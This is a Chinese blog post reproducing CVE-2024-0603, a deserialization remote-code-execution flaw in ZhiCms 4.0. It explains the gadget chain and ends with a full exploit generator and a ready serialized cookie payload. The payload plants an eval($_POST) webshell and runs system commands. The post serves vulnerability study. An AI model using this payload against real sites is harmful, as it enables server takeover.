当前位置: 首页 > news >正文

CVE-2024-0603 漏洞复现

CVE-2024-0603

源码:https://gitee.com/dazensun/zhicms

开题:

image-20240225052157569

CVE-2024-0603描述:ZhiCms up to 4.0版本的文件app/plug/controller/giftcontroller.php中存在一处未知漏洞。攻击者可以通过篡改参数mylike触发反序列化,从而远程发起攻击。该漏洞被公开披露,并可能被利用。此漏洞的相关标识为VDB-250839。

image-20240225053409514

链子就不自己挖了,直接用网上有的,自己复现理解一遍吧。

链子:

simple_html_dom::__destruct() -> simple_html_dom::clear() -> MemcacheDriver::clear() ->simple_html_dom_node::__toString() ->simple_html_dom_node::outertext() -> 
Template::display() -> Template::compile()

倒着分析,所有涉及代码如下:

\ZhiCms\base\Template.php

<?php
namespace ZhiCms\base;
class Template {protected $config =array();protected $label = null;protected $vars = array();protected $cache = null;public function __construct($config) {$this->config = $config;$this->assign('__Template', $this);$this->label = array(         /**variable label{$name} => <?php echo $name;?>{$user['name']} => <?php echo $user['name'];?>{$user.name}    => <?php echo $user['name'];?>*/  '/{(\\$[a-zA-Z_]\w*(?:\[[\w\.\"\'\[\]\$]+\])*)}/i' => "<?php echo $1; ?>",'/\$(\w+)\.(\w+)\.(\w+)\.(\w+)/is' => "\$\\1['\\2']['\\3']['\\4']",'/\$(\w+)\.(\w+)\.(\w+)/is' => "\$\\1['\\2']['\\3']",'/\$(\w+)\.(\w+)/is' => "\$\\1['\\2']",/**constance label{CONSTANCE} => <?php echo CONSTANCE;?>*/'/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s' => "<?php echo \\1;?>",/**msubstr label{musbstr str="test"  min="0" max="20"}   msubstr($str, 0, 20);**/'/{musbstr\s*str=(\S+)\+min=\"(.*)\"\+max=\"(.*)\"}/i'=>"<?php echo\\1;echo\\2;echo\\3;?>",/**if label{if $name==1}       =>  <?php if ($name==1){ ?>{elseif $name==2}   =>  <?php } elseif ($name==2){ ?>{else}              =>  <?php } else { ?>{/if}               =>  <?php } ?>*/              '/\{if\s+(.+?)\}/' => "<?php if(\\1) { ?>",'/\{else\}/' => "<?php } else { ?>",'/\{elseif\s+(.+?)\}/' => "<?php } elseif (\\1) { ?>",'/\{\/if\}/' => "<?php } ?>",/**for label{for $i=0;$i<10;$i++}   =>  <?php for($i=0;$i<10;$i++) { ?>{/for}                  =>  <?php } ?>*/              '/\{for\s+(.+?)\}/' => "<?php for(\\1) { ?>",'/\{\/for\}/' => "<?php } ?>",/**foreach label{foreach $arr as $vo}           =>  <?php $n=1; if (is_array($arr) foreach($arr as $vo){ ?>{foreach $arr as $key => $vo}   =>  <?php $n=1; if (is_array($array) foreach($arr as $key => $vo){ ?>{/foreach}                  =>  <?php $n++;}unset($n) ?> */'/\{foreach\s+(\S+)\s+as\s+(\S+)\}/' => "<?php \$n=1;if(is_array(\\1)) foreach(\\1 as \\2) { ?>", '/\{foreach\s+(\S+)\s+as\s+(\S+)\s*=>\s*(\S+)\}/' => "<?php \$n=1; if(is_array(\\1)) foreach(\\1 as \\2 => \\3) { ?>",'/\{\/foreach\}/' => "<?php \$n++;}unset(\$n); ?>",/**function label{date('Y-m-d H:i:s')}   =>  <?php echo date('Y-m-d H:i:s');?> {$date('Y-m-d H:i:s')}  =>  <?php echo $date('Y-m-d H:i:s');?> */'/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/' => "<?php echo \\1;?>",'/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/' => "<?php echo \\1;?>", );$this->cache = new Cache( $this->config['TPL_CACHE'] );}public function assign($name, $value = '') {if( is_array($name) ){foreach($name as $k => $v){$this->vars[$k] = $v;}} else {$this->vars[$name] = $value;}}public function display($tpl = '', $return = false, $isTpl = true ) {if( $return ){if ( ob_get_level() ){ob_end_flush();flush(); } ob_start();}extract($this->vars, EXTR_OVERWRITE);eval('?>' . $this->compile( $tpl, $isTpl));if( $return ){$content = ob_get_contents();ob_end_clean();return $content;}}	public function compile( $tpl, $isTpl = true ) {if( $isTpl ){$tplFile = $this->config['TPL_PATH'] . $tpl . $this->config['TPL_SUFFIX'];if ( !file_exists($tplFile) ) {throw new \Exception("Template file '{$tplFile}' not found", 500);}$tplKey = md5(realpath($tplFile));				} else {$tplKey = md5($tpl);}$ret = unserialize( $this->cache->get( $tplKey ) );	if ( empty($ret['template']) || ($isTpl&&filemtime($tplFile)>($ret['compile_time'])) ) {$template = $isTpl ? file_get_contents( $tplFile ) : $tpl;if( false === Hook::listen('templateParse', array($template), $template) ){foreach ($this->label as $key => $value) {$template = preg_replace($key, $value, $template);}		}$ret = array('template'=>$template, 'compile_time'=>time());$this->cache->set( $tplKey, serialize($ret), 86400*365);}	return $ret['template'];}
}

\ZhiCms\base\Cache.php

<?php
namespace ZhiCms\base;
class Cache{protected $config =array();protected $cache = 'default';public $proxyObj=null;public $proxyExpire=1800;protected static $objArr = array();public function __construct( $cache = 'default' ) {if( $cache ){$this->cache = $cache;}$this->config = Config::get('CACHE.' . $this->cache);if( empty($this->config) || !isset($this->config['CACHE_TYPE']) ) {throw new \Exception($this->cache.' cache config error', 500);}}public function __call($method, $args){if( !isset(self::$objArr[$this->cache]) ){		$cacheDriver = __NAMESPACE__.'\cache\\' . ucfirst( $this->config['CACHE_TYPE'] ).'Driver';if( !class_exists($cacheDriver) ) {throw new \Exception("Cache Driver '{$cacheDriver}' not found'", 500);}	self::$objArr[$this->cache] = new $cacheDriver( $this->config );}if( $this->proxyObj ){ //proxy mode$key = md5( get_class($this->proxyObj) . '_'.$method.'_' . var_export($args) );$value = self::$objArr[$this->cache]->get($key);if( false===$value ){$value = call_user_func_array(array($this->proxyObj, $method), $args);self::$objArr[$this->cache]->set($key, $value, $this->proxyExpire);}return $value;}else{return call_user_func_array(array(self::$objArr[$this->cache], $method), $args);}		}
}

\ZhiCms\ext\simple_html_dom.php

<?php
namespace ZhiCms\ext;
class simple_html_dom_node
{private $dom = null;function __toString(){return $this->outertext();}function outertext(){if ($this->dom && $this->dom->callback!==null){call_user_func_array($this->dom->callback, array($this));}}
}
class simple_html_dom
{public $callback = null;protected $parent;
// .......function __destruct(){$this->clear();}// .......function clear(){foreach ($this->nodes as $n) {$n->clear(); $n = null;}// This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}if (isset($this->root)) {$this->root->clear(); unset($this->root);}unset($this->doc);unset($this->noise);}
// .......
}

ZhiCms\base\cache\MemcacheDriver.php

<?php
namespace ZhiCms\base\cache;
class MemcacheDriver implements CacheInterface{protected $mmc = NULL;protected $group = ''; protected $ver = 0;public function __construct( $config = array() ) {$this->mmc = new Memcache;if( empty($config) ) {$config['MEM_SERVER'] = array(array('127.0.0.1', 11211));$config['GROUP'] = '';}foreach($config['MEM_SERVER'] as $v) {call_user_func_array(array($this->mmc, 'addServer'), $v);}if( isset($config['GROUP']) ){$this->group = $config['GROUP'];}$this->ver = intval( $this->mmc->get($this->group.'_ver') );}public function get($key) {return $this->mmc->get($this->group.'_'.$this->ver.'_'.$key);}public function set($key, $value, $expire = 1800) {return $this->mmc->set($this->group.'_'.$this->ver.'_'.$key, $value, 0, $expire);}public function inc($key, $value = 1) {return $this->mmc->increment($this->group.'_'.$this->ver.'_'.$key, $value);}public function des($key, $value = 1) {return $this->mmc->decrement($this->group.'_'.$this->ver.'_'.$key, $value);}public function del($key) {return $this->mmc->delete($this->group.'_'.$this->ver.'_'.$key);}public function clear() {return  $this->mmc->set($this->group.'_ver', $this->ver+1); }	
}

==1、==首先看看链子的最末尾Template::display() -> Template::compile()

\ZhiCms\base\Template.php

有个eval方法,参数可控就可以导致RCE

image-20240225054507414

构造一下就可以使得eval可控,执行任意命令。构造如下:

class Template {protected $config =array();protected $label = null;protected $vars = array();protected $cache = null;public function __construct(){$this->cache = new Cache;$this->vars=array("tpl"=>"<?php system('cat /f*');?>","isTpl"=>false);}
}

2、simple_html_dom_node::outertext() -> Template::display()

代码有点多,是从这里跳过去到Template::display()的

image-20240225060157911

对应部分exp构造如下:

class simple_html_dom_node
{private $dom = null;public function __construct(){$dom = new simple_html_dom("");$dom->callback=array(new Template(), "display");$this->dom = $dom;}
}

3、simple_html_dom_node::__toString() ->simple_html_dom_node::outertext()

直接就能过去

image-20240225060522842

4、MemcacheDriver::clear() ->simple_html_dom_node::__toString()

image-20240225060912032

MemcacheDriver的clear()方法中将$this->group拼接字符串’_ver’,所以可以触发simple_html_dom_node中的__toString()方法

对应部分exp构造如下:

class MemcacheDriver
{protected $mmc = NULL;protected $group = '';protected $ver = 0;public function __construct(){$this->mmc = new Cache();$this->group = new simple_html_dom_node;}
}

5、simple_html_dom::clear() -> MemcacheDriver::clear()

image-20240225061918344

对应部分exp构造:

//.........namespace ZhiCms\ext;
use ZhiCms\base\cache\MemcacheDriver;
use ZhiCms\base\Template;
use zhicms\base\Cache;
class simple_html_dom
{protected $parent;public $callback = null;public function __construct($obj){$this->parent = $obj;}
}//.........$step = new MemcacheDriver;
$exp = new simple_html_dom($step);

6、simple_html_dom::__destruct() -> simple_html_dom::clear()

直接就能过去

image-20240225062151998

最终EXP:

<?php
namespace ZhiCms\base{class Cache{protected $config =array();protected $cache = 'default';public $proxyObj=null;public $proxyExpire=1800;public function __construct(){$this->config = array("CACHE_TYPE"=>"FileCache","MEM_GROUP"=>"tpl");}}class Template {protected $config =array();protected $label = null;protected $vars = array();protected $cache = null;public function __construct(){$this->cache = new Cache;$this->vars=array("tpl"=>'<?php eval($_POST[1]);?>',"isTpl"=>false);}}
}namespace ZhiCms\base\cache{use ZhiCms\ext\simple_html_dom_node;use ZhiCms\base\Cache;class MemcachedDriver{protected $mmc = NULL;protected $group = '';protected $ver = 0;public function __construct(){$this->mmc = new Cache();$this->group=new simple_html_dom_node();}}
}namespace ZhiCms\ext{use ZhiCms\base\cache\MemcachedDriver;use ZhiCms\base\Template;use ZhiCms\base\Cache;class simple_html_dom{protected $parent;public $callback;public function __construct($obj){$this->parent=$obj;}}class simple_html_dom_node{private $dom = null;public function __construct(){$dom=new simple_html_dom("");$dom->callback=array(new Template(),"display");// $dom->callback="phpinfo";$this->dom=$dom;}}$mem = new MemcachedDriver();$obj = new simple_html_dom($mem);echo urlencode(serialize($obj));
}

payload:

GET:?r=plug/gift/mylikeCookie:mylike=O%3A26%3A%22ZhiCms%5Cext%5Csimple_html_dom%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A33%3A%22ZhiCms%5Cbase%5Ccache%5CMemcachedDriver%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00mmc%22%3BO%3A17%3A%22ZhiCms%5Cbase%5CCache%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A10%3A%22CACHE_TYPE%22%3Bs%3A9%3A%22FileCache%22%3Bs%3A9%3A%22MEM_GROUP%22%3Bs%3A3%3A%22tpl%22%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22proxyObj%22%3BN%3Bs%3A11%3A%22proxyExpire%22%3Bi%3A1800%3B%7Ds%3A8%3A%22%00%2A%00group%22%3BO%3A31%3A%22ZhiCms%5Cext%5Csimple_html_dom_node%22%3A1%3A%7Bs%3A36%3A%22%00ZhiCms%5Cext%5Csimple_html_dom_node%00dom%22%3BO%3A26%3A%22ZhiCms%5Cext%5Csimple_html_dom%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00parent%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22callback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22ZhiCms%5Cbase%5CTemplate%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00label%22%3BN%3Bs%3A7%3A%22%00%2A%00vars%22%3Ba%3A2%3A%7Bs%3A3%3A%22tpl%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A5%3A%22isTpl%22%3Bb%3A0%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3BO%3A17%3A%22ZhiCms%5Cbase%5CCache%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A10%3A%22CACHE_TYPE%22%3Bs%3A9%3A%22FileCache%22%3Bs%3A9%3A%22MEM_GROUP%22%3Bs%3A3%3A%22tpl%22%3B%7Ds%3A8%3A%22%00%2A%00cache%22%3Bs%3A7%3A%22default%22%3Bs%3A8%3A%22proxyObj%22%3BN%3Bs%3A11%3A%22proxyExpire%22%3Bi%3A1800%3B%7D%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00ver%22%3Bi%3A0%3B%7Ds%3A8%3A%22callback%22%3BN%3B%7DPOST:1=system('tac /denfjkehfiofleffagww');

image-20240225065609842

相关文章:

CVE-2024-0603 漏洞复现

CVE-2024-0603 源码&#xff1a;https://gitee.com/dazensun/zhicms 开题&#xff1a; CVE-2024-0603描述&#xff1a;ZhiCms up to 4.0版本的文件app/plug/controller/giftcontroller.php中存在一处未知漏洞。攻击者可以通过篡改参数mylike触发反序列化&#xff0c;从而远程…...

西部智慧健身小程序+华为运动健康服务

1、 应用介绍 西部智慧健身小程序为用户提供一站式全流程科学健身综合服务。用户通过登录微信小程序&#xff0c;可享用健康筛查、运动风险评估、体质检测评估、运动处方推送、个人运动数据监控与评估等公益服务。 2、 体验介绍西部智慧健身小程序华为运动健康服务核心体验如…...

Spring Boot中如何处理异步任务

Spring Boot中如何处理异步任务 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天我们将探讨在Spring Boot应用中如何处理异步任务&#xff0c;以提升系统的性…...

数字化精益生产系统--RD研发管理系统

R&D研发管理系统是一种用于管理和监督科学研究和技术开发的软件系统&#xff0c;其设计和应用旨在提高企业研发活动的效率、质量和速度。以下是对R&D研发管理系统的功能设计&#xff1a;...

鱼眼相机 去畸变

目录 枕形畸变和去枕形畸变 去枕形畸变失败 枕形畸变和去枕形畸变 import cv2 import numpy as np import matplotlib.pyplot as plt# 创建一个带网格的原始图像 def create_grid(image_size512, grid_size20):image np.zeros((image_size, image_size, 3), dtypenp.uint8)…...

DC/AC电源模块:为智能家居设备提供恒定的电力供应

BOSHIDA DC/AC电源模块&#xff1a;为智能家居设备提供恒定的电力供应 DC/AC电源模块是一种常见的电源转换器&#xff0c;它将直流电源&#xff08;DC&#xff09;转换为交流电源&#xff08;AC&#xff09;&#xff0c;为智能家居设备提供恒定的电力供应。在智能家居系统中&a…...

小红书运营教程02

小红书大致会分享10篇左右。微博、抖音、以及视频剪辑等自媒体运营相关技能以及运营教程相关会陆续的进行分享。 上次分享涉及到的对比,母婴系列,或者可以说是服装类型,不需要自己过多的投入,对比知识类博主来说,自己将知识讲述出来,然后要以此账号进行变现就比较麻烦,…...

k8s自动清理节点服务

要在 Kubernetes 中实现当某个节点的 CPU 或内存使用超过 90% 时清理该节点上的服务&#xff0c;你可以使用以下几种方法&#xff1a; 自定义脚本和 cron job&#xff1a;编写一个脚本监控节点的资源使用情况&#xff0c;并在超过阈值时触发清理操作。使用 DaemonSet 运行监控…...

JS如何把年月日转为时间戳

在JavaScript中&#xff0c;将年月日&#xff08;通常表示为一个字符串或者分别的年、月、日数字&#xff09;转换为时间戳&#xff08;即Unix时间戳&#xff0c;是自1970年1月1日&#xff08;UTC/GMT的午夜&#xff09;开始所经过的秒数&#xff0c;不考虑闰秒&#xff09;可以…...

【YOLOv5进阶】——引入注意力机制-以SE为例

声明&#xff1a;笔记是做项目时根据B站博主视频学习时自己编写&#xff0c;请勿随意转载&#xff01; 一、站在巨人的肩膀上 SE模块即Squeeze-and-Excitation 模块&#xff0c;这是一种常用于卷积神经网络中的注意力机制&#xff01;&#xff01; 借鉴代码的代码链接如下&a…...

【C++题解】1456. 淘淘捡西瓜

问题&#xff1a;1456. 淘淘捡西瓜 类型&#xff1a;贪心 题目描述&#xff1a; 地上有一排西瓜&#xff0c;每个西瓜都有自己的重量。淘淘有一个包&#xff0c;包的容量是固定的&#xff0c;淘淘希望尽可能在包里装更多的西瓜&#xff08;当然要装整个的&#xff0c;不能切开…...

用Python读取Word文件并提取标题

前言 在日常工作中&#xff0c;我们经常需要处理Word文档&#xff0c;特别是从中提取关键信息&#xff0c;如标题、段落等。今天&#xff0c;我们将利用Python来实现这一功能&#xff0c;并为大家提供一段完整的代码示例。 准备工作 首先&#xff0c;你需要安装python-docx库…...

Windows编程上

Windows编程[上] 一、Windows API1.控制台大小设置1.1 GetStdHandle1.2 SetConsoleWindowInfo1.3 SetConsoleScreenBufferSize1.4 SetConsoleTitle1.5 封装为Innks 2.控制台字体设置以及光标调整2.1 GetConsoleCursorInfo2.2 SetConsoleCursorPosition2.3 GetCurrentConsoleFon…...

BiTCN-Attention一键实现回归预测+8张图+特征可视化图!注意力全家桶再更新!

声明&#xff1a;文章是从本人公众号中复制而来&#xff0c;因此&#xff0c;想最新最快了解各类智能优化算法及其改进的朋友&#xff0c;可关注我的公众号&#xff1a;强盛机器学习&#xff0c;不定期会有很多免费代码分享~ 目录 原理简介 数据介绍 结果展示 全家桶代码目…...

zoom缩放问题(关于ElementPlus、Echarts、Vue3draggable等组件偏移问题)

做了一个项目下来&#xff0c;由于整体界面偏大&#xff0c;采取了缩放90%&#xff0c;导致很多组件出现偏移问题&#xff0c;以下我会把我遇到的各种组件偏移问题依次进行描述解答&#xff1a; ElementPlus选择器下拉偏移 <template><el-select :teleported"f…...

【后端面试题】【中间件】【NoSQL】MongoDB的配置服务器、复制机制、写入语义和面试准备

MongoDB的配置服务器 引入了分片机制之后&#xff0c;MongoDB启用了配置服务器(config server) 来存储元数据&#xff0c;这些元数据包括分片信息、权限控制信息&#xff0c;用来控制分布式锁。其中分片信息还会被负责执行查询mongos使用。 MongoDB的配置服务器有一个很大的优…...

视频监控汇聚平台LntonCVS视频监控业务平台具体有哪些功能?

LntonCVS视频监控平台是一款基于H5技术开发的专业安防视频监控产品&#xff0c;旨在为安防视频监控行业提供全面的解决方案。以下是平台的主要功能和特点&#xff1a; 1. 统一接入管理&#xff1a; - 支持国内外各种品牌、协议和设备类型的监控产品统一接入管理。 - 提供标准的…...

我不小心把生产的数据改错了!同事帮我用MySQL的BinLog挽回了罚款

之前在生产做修改数据的时候不小心改错了一行数据&#xff0c;本来以为会被通报批评&#xff0c;但是同事利用binlog日志查看到了之前的旧数据&#xff0c;并且帮我回滚了&#xff0c;学到了&#xff0c;所以写了一篇binlog的文章分享给大家。 MySQL的Binary Log&#xff08;简…...

Windows系统安装NVM,实现Node.js多版本管理

目录 一、前言 二、NVM简介 三、准备工作 1、卸载Node 2、创建文件夹 四、下载NVM 五、安装NVM 六、使用NVM 1、NVM常用操作命令 2、查看NVM版本信息 3、查看Node.js版本列表&#xff1b; 4、下载指定版本Node.js 5、使用指定版本Node.js 6、查看已安装Node.js列…...

k8s部署单节点redis

一、configmap # cat redis-configmap.yaml apiVersion: v1 kind: ConfigMap metadata:name: redis-single-confignamespace: redis data:redis.conf: |daemonize nobind 0.0.0.0port 6379tcp-backlog 511timeout 0tcp-keepalive 300pidfile /data/redis-server.pidlogfile /d…...

网络编程(Modbus进阶)

思维导图 Modbus RTU&#xff08;先学一点理论&#xff09; 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议&#xff0c;由 Modicon 公司&#xff08;现施耐德电气&#xff09;于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

<6>-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

Swagger和OpenApi的前世今生

Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章&#xff0c;二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑&#xff1a; &#x1f504; 一、起源与初创期&#xff1a;Swagger的诞生&#xff08;2010-2014&#xff09; 核心…...

是否存在路径(FIFOBB算法)

题目描述 一个具有 n 个顶点e条边的无向图&#xff0c;该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序&#xff0c;确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数&#xff0c;分别表示n 和 e 的值&#xff08;1…...

优选算法第十二讲:队列 + 宽搜 优先级队列

优选算法第十二讲&#xff1a;队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...

#Uniapp篇:chrome调试unapp适配

chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器&#xff1a;Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

AI病理诊断七剑下天山,医疗未来触手可及

一、病理诊断困局&#xff1a;刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断"&#xff0c;医生需通过显微镜观察组织切片&#xff0c;在细胞迷宫中捕捉癌变信号。某省病理质控报告显示&#xff0c;基层医院误诊率达12%-15%&#xff0c;专家会诊…...

WPF八大法则:告别模态窗口卡顿

⚙️ 核心问题&#xff1a;阻塞式模态窗口的缺陷 原始代码中ShowDialog()会阻塞UI线程&#xff0c;导致后续逻辑无法执行&#xff1a; var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题&#xff1a…...

算法—栈系列

一&#xff1a;删除字符串中的所有相邻重复项 class Solution { public:string removeDuplicates(string s) {stack<char> st;for(int i 0; i < s.size(); i){char target s[i];if(!st.empty() && target st.top())st.pop();elsest.push(s[i]);}string ret…...